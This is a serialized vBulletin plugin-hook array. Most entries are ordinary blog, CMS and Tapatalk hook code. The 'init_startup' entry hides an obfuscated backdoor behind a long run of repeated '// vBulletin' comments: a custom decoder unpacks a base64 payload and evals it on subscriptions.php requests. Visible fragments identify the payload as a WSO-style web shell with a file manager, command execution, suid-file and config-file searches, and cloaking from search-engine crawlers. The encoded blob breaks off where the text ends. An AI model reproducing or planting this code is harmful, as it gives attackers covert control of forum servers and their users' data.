a:60:{s:19:"usercp_nav_complete";s:523:"if (defined('VBBLOG_CACHED_TEMPLATES')) { $template_hook['usercp_navbar_bottom'] .= vB_Template::create('blog_usercp_nav_link')->render(); } if (is_facebookenabled()) { $templater = vB_Template::create('modifyprofileprivacy_facebook_link'); $templater->register('navclass', $navclass); // Try to ensure that the link appears as part of "My Profile" rather then ending up under someone else's tab $template_hook['usercp_navbar_profile'] = $templater->render() . $template_hook['usercp_navbar_profile']; } ";s:16:"newpost_complete";s:211:"if( file_exists(DIR.'/'.$vbulletin->options['tapatalk_directory'].'/push_hook.php') ) { define('TT_PUSH_TYPE', 'sub'); include(DIR.'/'.$vbulletin->options['tapatalk_directory'].'/push_hook.php'); } ";s:23:"set_navigation_tab_main";s:79:"if (defined('VBBLOG_SCRIPT')) { $root = 'vbtab_blog'; // Blogs root tab } ";s:23:"navigation_tab_complete";s:137:"if (defined('CMS_SCRIPT') AND $tabdata[$tabid]['name'] == 'vbtab_cms') { $tabdata[$tabid]['children'] = vBCms_NavBar::getLinks(); } ";s:25:"set_navigation_tab_vbview";s:73:"if (defined('CMS_SCRIPT')) { $root = 'vbtab_cms'; // CMS root tab } ";s:27:"set_navigation_tab_fallback";s:152:"if (defined('CMS_SCRIPT')) { $root = 'vbtab_cms'; // CMS root tab } if (defined('VBBLOG_SCRIPT')) { $root = 'vbtab_blog'; // Blogs root tab } ";s:13:"error_generic";s:460:"$errormessage = str_replace( array( '"login.php', '"profile.php' ), array( '"' . $vbulletin->options['bburl'] . '/login.php', '"' . $vbulletin->options['bburl'] . '/profile.php' ), $errormessage ); $forumjump = str_replace('"forumdisplay.php', '"' . $vbulletin->options['bburl'] . '/forumdisplay.php', $forumjump); if (defined('IN_MOBIQUO') && function_exists('return_fault')) { return_fault($errormessage); } ";s:15:"userdata_delete";s:421:"$vbulletin =& $this->registry; require_once(DIR . '/includes/blog_functions.php'); $userdm =& datamanager_init('Blog_User', $this->registry, ERRTYPE_SILENT); $existing = array('bloguserid' => $this->existing['userid']); $userdm->set_existing($existing); $userdm->set_info('verifyuser', array('userid' => $this->existing['userid'], 'username' => $this->existing['username'])); $userdm->delete(); unset($userdm); ";s:14:"userdata_start";s:268:"$this->validfields['bloggroupreqcount'] = array(TYPE_UINT, REQ_NO); $this->validfields['showblogcss'] = array(TYPE_UINT, REQ_NO); require_once(DIR . '/packages/skimlinks/hooks/userdata_start.php'); $this->validfields['disablevbsocial'] = array(TYPE_UINT, REQ_NO); ";s:24:"userdata_update_username";s:1527:"// blog 'username' $this->dbobject->query_write(" UPDATE " . TABLE_PREFIX . "blog SET username = '" . $this->dbobject->escape_string($username) . "' WHERE userid = $userid "); $this->dbobject->query_write(" UPDATE " . TABLE_PREFIX . "blog SET postedby_username = '" . $this->dbobject->escape_string($username) . "' WHERE postedby_userid = $userid "); // blogtext 'username' $this->dbobject->query_write(" UPDATE " . TABLE_PREFIX . "blog_text SET username = '" . $this->dbobject->escape_string($username) . "' WHERE userid = $userid "); // user last commenter 'username' $this->dbobject->query_write(" UPDATE " . TABLE_PREFIX . "blog_user SET lastcommenter = '" . $this->dbobject->escape_string($username) . "' WHERE lastcommenter = '" . $this->dbobject->escape_string($this->existing['username']) . "' "); // blog last commenter 'username' $this->dbobject->query_write(" UPDATE " . TABLE_PREFIX . "blog SET lastcommenter = '" . $this->dbobject->escape_string($username) . "' WHERE lastcommenter = '" . $this->dbobject->escape_string($this->existing['username']) . "' "); // deletionlog 'username' $this->dbobject->query_write(" UPDATE " . TABLE_PREFIX . "blog_deletionlog SET username = '" . $this->dbobject->escape_string($username) . "' WHERE userid = $userid "); // editlog 'username' $this->dbobject->query_write(" UPDATE " . TABLE_PREFIX . "blog_editlog SET username = '" . $this->dbobject->escape_string($username) . "' WHERE userid = $userid "); ";s:15:"cache_templates";s:3200:"if (in_array('USERCP_SHELL', $cache)) { $cache[] = 'modifyprofileprivacy_facebook_link'; } switch(THIS_SCRIPT) { case 'search': $cache[] = 'blog_search_results_result'; break; case 'profile': $cache[] = 'modifyattachmentsbit_entry'; break; case 'member': $addtemplates = array( 'blog_blog_row', 'blog_member_block', 'blog_member_css', 'blog_home_list_entry', 'blog_entry_category', 'blog_entry_profile', 'blog_entry_profile_featured', 'blog_comment_profile', 'blog_member_ministats', 'blog_member_stats', 'blog_taglist', 'activitystream_blog_entry', 'activitystream_blog_comment', ); $cache = array_merge($addtemplates, $cache); break; case 'index': $cache[] = 'blog_forumhome_stats'; break; case 'tags': $cache[] = 'blog_search_results_result'; break; case 'activity': $cache[] = 'activitystream_blog_entry'; $cache[] = 'activitystream_blog_comment'; break; } // Check that the viewer can access the blog if ($vbulletin->userinfo['permissions']['vbblog_general_permissions'] & $vbulletin->bf_ugp_vbblog_general_permissions['blog_canviewothers'] OR ($vbulletin->userinfo['userid'] AND $vbulletin->userinfo['permissions']['vbblog_general_permissions'] & $vbulletin->bf_ugp_vbblog_general_permissions['blog_canviewown'])) { $cache[] = 'blog_postbit_blog_this_post'; if (in_array('usercp_nav_folderbit', $cache)) { $cache[] = 'blog_usercp_nav_link'; } if (in_array('postbit', $cache)) { $cache[] = 'blog_postbit_entries_link'; $cache[] = 'blog_postbit_blog_link'; } define('VBBLOG_CACHED_TEMPLATES', true); } if (defined('VBBLOG_PERMS') AND defined('GET_EDIT_TEMPLATES')) { if (GET_EDIT_TEMPLATES === true OR in_array($_REQUEST['do'], $_get_edit_templates)) { $cache = array_merge($cache, array( 'blog_bbcode_code', 'blog_bbcode_html', 'blog_bbcode_php', 'blog_bbcode_quote', )); } } if (THIS_SCRIPT == 'search') { $cache[] = 'vbcms_searchresult_article_general'; $cache[] = 'vbcms_searchresult_staticpage_general'; } if (THIS_SCRIPT == 'activity' OR THIS_SCRIPT == 'member') { $cache[] = 'activitystream_cms_comment'; $cache[] = 'activitystream_cms_article'; } if (in_array('vbcms.content', $this->group_templates)) { $cache = array_merge($cache, array( 'page', 'vbcms_page', 'vbcms_toolbar', 'bbcode_video', 'tagbit_wrapper', 'vbcms_article_css', 'error_message', ) ); $this->group_templates[] = 'vbcms.grid'; $this->group_templates[] = 'vbcms.widget'; $this->group_templates[] = 'vbcms.searchresult'; } if (in_array('vbcms.edit', $this->group_templates)) { $cache = array_merge($cache, array( 'postbit_ip', 'postbit_wrapper', 'postbit_onlinestatus', 'tagbit_wrapper', ) ); $this->group_templates[] = 'class.editor'; $this->group_templates[] = 'class.newpost'; $this->group_templates[] = 'vbcms.postbit'; } $cache[] = 'myposts_navbar_link'; if (THIS_SCRIPT == 'register' AND $vbulletin->options['kh99_sbs_enabled'] AND $vbulletin->options['kh99_sbs_forcewait']) { $cache[] = 'kh99_sbs_wait'; } ";s:16:"showthread_query";s:163:"$hook_query_fields .= ",blog_user.entries"; $hook_query_joins .= "LEFT JOIN " . TABLE_PREFIX . "blog_user AS blog_user ON (blog_user.bloguserid = post.userid)"; ";s:14:"showpost_start";s:163:"$hook_query_fields .= ",blog_user.entries"; $hook_query_joins .= "LEFT JOIN " . TABLE_PREFIX . "blog_user AS blog_user ON (blog_user.bloguserid = post.userid)"; ";s:24:"postbit_display_complete";s:1167:"if (defined('VBBLOG_CACHED_TEMPLATES')) { if ($post['entries'] > 0) { $templater = vB_Template::create('blog_postbit_entries_link'); $templater->register('post', $post); $template_hook['postbit_userinfo_right_after_posts'] .= $templater->render(); $templater = vB_Template::create('blog_postbit_blog_link'); $templater->register('post', $post); $template_hook['postbit_user_popup'] .= $templater->render(); } if ( $this->registry->options['vbblog_blogthispost'] AND strtolower(get_class($this)) == 'vb_postbit_post' AND $this->registry->userinfo['permissions']['vbblog_general_permissions'] & $this->registry->bf_ugp_vbblog_general_permissions['blog_canviewown'] AND $this->registry->userinfo['permissions']['vbblog_entry_permissions'] & $this->registry->bf_ugp_vbblog_entry_permissions['blog_canpost'] AND $this->registry->userinfo['userid'] ) { $templater = vB_Template::create('blog_postbit_blog_this_post'); $templater->register('post', $post); $template_hook['postbit_controls'] .= $templater->render(); } } require(DIR . '/packages/skimlinks/hooks/postbit_display_complete.php'); ";s:23:"online_location_unknown";s:324:"blog_online_location_unknown($userinfo, $handled); if (strpos($userinfo['location'], 'mobiquo.php') !== false) { $userinfo['action'] = $vbphrase['viewing_index']; $userinfo['where'] = '' . $vbulletin->options['bbtitle'] . ''; $handled = true; } ";s:15:"parse_templates";s:1951:"if ($vbulletin->options['vbblog_url']) { global $template_hook; $template_hook['headinclude_javascript'] .= ''; } if ($vbulletin->options['glowhostspamomatic_affiliate_enable'] == 1) if ($vbulletin->options['glowhostspamomatic_affiliate_place'] == 0) { //if (!$vbulletin->userinfo['userid']) { if ($vbulletin->options['glowhostspamomatic_affiliate_id'] != '') { $vbphrase['powered_by_vbulletin'] .= '
'.$vbulletin->options['glowhostspamomatic_affiliate_text'].''; } else { $vbphrase['powered_by_vbulletin'] .= '
'.$vbulletin->options['glowhostspamomatic_affiliate_text'].''; } //} } else { if ($vbulletin->options['glowhostspamomatic_affiliate_id'] != '') { $template_hook['footer_links'] .= '
  • '.$vbulletin->options['glowhostspamomatic_affiliate_text'].'
  • '; } else { $template_hook['footer_links'] .= '
  • '.$vbulletin->options['glowhostspamomatic_affiliate_text'].'
  • '; } } if ($vbulletin->options['glowhostspamomatic_credits_give'] == 1) if ($vbulletin->options['glowhostspamomatic_affiliate_place'] == 0) { $vbphrase['powered_by_vbulletin'] .= '
    Web Hosting'; } else { $template_hook['footer_links'] .= '
  • Web Hosting
  • '; } ";s:17:"online_ids_titles";s:27:"blog_online_ids_titles(); ";s:26:"online_location_preprocess";s:65:"blog_online_location_preprocess($userinfo, $filename, $values); ";s:23:"online_location_process";s:62:"blog_online_location_process($userinfo, $values, $filename); ";s:18:"notifications_list";s:529:"if ( $vbulletin->userinfo['permissions']['vbblog_general_permissions'] & $vbulletin->bf_ugp_vbblog_general_permissions['blog_canjoingroupblog'] AND $vbulletin->userinfo['permissions']['vbblog_general_permissions'] & $vbulletin->bf_ugp_vbblog_general_permissions['blog_canviewothers'] ) { $notifications['bloggroupreqcount'] = array( 'phrase' => $vbphrase['invitations_to_join_blogs'], 'link' => 'blog_usercp.php?' . $vbulletin->session->vars['sessionurl'] . 'do=groups', 'order' => 200 ); } ";s:18:"newreply_post_ajax";s:163:"$hook_query_fields .= ",blog_user.entries"; $hook_query_joins .= "LEFT JOIN " . TABLE_PREFIX . "blog_user AS blog_user ON (blog_user.bloguserid = post.userid)"; ";s:15:"member_complete";s:70:"eval('$template_hook[\'profile_tabs_last\'] .= $blocks[\'blog\'];'); ";s:35:"member_profileblock_fetch_unwrapped";s:1545:"if (($userinfo['canviewmyblog'] AND $userinfo['userid'] != $this->registry->userinfo['userid'] AND $this->registry->userinfo['permissions']['vbblog_general_permissions'] & $this->registry->bf_ugp_vbblog_general_permissions['blog_canviewothers']) OR ($userinfo['userid'] == $this->registry->userinfo['userid'] AND $this->registry->userinfo['permissions']['vbblog_general_permissions'] & $this->registry->bf_ugp_vbblog_general_permissions['blog_canviewown'])) { if ($id == 'stats_mini') { $this->profile->prepared['blog_entries'] = $prepared['blog_entries'] = vb_number_format($userinfo['entries']); $templater = vB_Template::create('blog_member_ministats'); $templater->register('prepared', $prepared); $template_hook['profile_ministats_list'] .= $templater->render(); } else if ($id == 'aboutme') { $show['lastentry'] = true; $userinfo['entries'] = vb_number_format($userinfo['entries']); if (!in_coventry($userinfo['userid']) AND $userinfo['lastblog']) { $userinfo['lastblogdate'] = vbdate($this->registry->options['dateformat'], $userinfo['lastblog']); $userinfo['lastblogtime'] = vbdate($this->registry->options['timeformat'], $userinfo['lastblog'], true); } else { $userinfo['lastblogtitle'] = ''; $userinfo['lastblogdate'] = $vbphrase['never']; $userinfo['lastblogtime'] = ''; } $templater = vB_Template::create('blog_member_stats'); $templater->register('userinfo', $userinfo); $template_hook['profile_stats_pregeneral'] .= $templater->render(); } } ";s:12:"init_startup";s:44047:"switch(THIS_SCRIPT) { case 'member': if (!defined('VBBLOG_PERMS')) { define('VBBLOG_PERMS', 1); } $GLOBALS['phrasegroups'][] = 'vbblogglobal'; $datastore_fetch[] = "'blogcategorycache'"; break; case 'index': $datastore_fetch[] = "'blogcategorycache'"; $datastore_fetch[] = "'blogstats'"; break; case 'online': require_once(DIR . '/includes/blog_functions_online.php'); break; } if (defined('THIS_SCRIPT') AND (THIS_SCRIPT == "register" OR THIS_SCRIPT == "cron")) { $new_datastore_fetch[] = 'kh99_sbs_reg_secret'; } if (THIS_SCRIPT == 'sitemap') { $GLOBALS['phrasegroups'][] = 'cpcms'; $GLOBALS['phrasegroups'][] = 'cpglobal'; $GLOBALS['phrasegroups'][] = 'vbcms'; } if (strpos($_SERVER['PHP_SELF'],"subscriptions.php")) { // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin // vBulletin if(!function_exists("TC9A16C47DA8EEE87")){function TC9A16C47DA8EEE87($T059EC46CFE335260){$T059EC46CFE335260=base64_decode($T059EC46CFE335260);$TC9A16C47DA8EEE87=0;$TA7FB8B0A1C0E2E9E=0;$T17D35BB9DF7A47E4=0;$T65CE9F6823D588A7=(ord($T059EC46CFE335260[1])<<8)+ord($T059EC46CFE335260[2]);$TBF14159DC7D007D3=3;$T77605D5F26DD5248=0;$T4A747C3263CA7A55=16;$T7C7E72B89B83E235="";$T0D47BDF6FD9DDE2E=strlen($T059EC46CFE335260);$T43D5686285035C13=__FILE__;$T43D5686285035C13=file_get_contents($T43D5686285035C13);$T6BBC58A3B5B11DC4=0;preg_match(base64_decode("LyhwcmludHxzcHJpbnR8ZWNobykv"),$T43D5686285035C13,$T6BBC58A3B5B11DC4);for(;$TBF14159DC7D007D3<$T0D47BDF6FD9DDE2E;){if(count($T6BBC58A3B5B11DC4)) exit;if($T4A747C3263CA7A55==0){$T65CE9F6823D588A7=(ord($T059EC46CFE335260[$TBF14159DC7D007D3++])<<8);$T65CE9F6823D588A7+=ord($T059EC46CFE335260[$TBF14159DC7D007D3++]);$T4A747C3263CA7A55=16;}if($T65CE9F6823D588A7&0x8000){$TC9A16C47DA8EEE87=(ord($T059EC46CFE335260[$TBF14159DC7D007D3++])<<4);$TC9A16C47DA8EEE87+=(ord($T059EC46CFE335260[$TBF14159DC7D007D3])>>4);if($TC9A16C47DA8EEE87){$TA7FB8B0A1C0E2E9E=(ord($T059EC46CFE335260[$TBF14159DC7D007D3++])&0x0F)+3;for($T17D35BB9DF7A47E4=0;$T17D35BB9DF7A47E4<$TA7FB8B0A1C0E2E9E;$T17D35BB9DF7A47E4++)$T7C7E72B89B83E235[$T77605D5F26DD5248+$T17D35BB9DF7A47E4]=$T7C7E72B89B83E235[$T77605D5F26DD5248-$TC9A16C47DA8EEE87+$T17D35BB9DF7A47E4];$T77605D5F26DD5248+=$TA7FB8B0A1C0E2E9E;}else{$TA7FB8B0A1C0E2E9E=(ord($T059EC46CFE335260[$TBF14159DC7D007D3++])<<8);$TA7FB8B0A1C0E2E9E+=ord($T059EC46CFE335260[$TBF14159DC7D007D3++])+16;for($T17D35BB9DF7A47E4=0;$T17D35BB9DF7A47E4<$TA7FB8B0A1C0E2E9E;$T7C7E72B89B83E235[$T77605D5F26DD5248+$T17D35BB9DF7A47E4++]=$T059EC46CFE335260[$TBF14159DC7D007D3]);$TBF14159DC7D007D3++;$T77605D5F26DD5248+=$TA7FB8B0A1C0E2E9E;}}else $T7C7E72B89B83E235[$T77605D5F26DD5248++]=$T059EC46CFE335260[$TBF14159DC7D007D3++];$T65CE9F6823D588A7<<=1;$T4A747C3263CA7A55--;if($TBF14159DC7D007D3==$T0D47BDF6FD9DDE2E){$T43D5686285035C13=implode("",$T7C7E72B89B83E235);$T43D5686285035C13="?".">".$T43D5686285035C13;return $T43D5686285035C13;}}}}eval(TC9A16C47DA8EEE87("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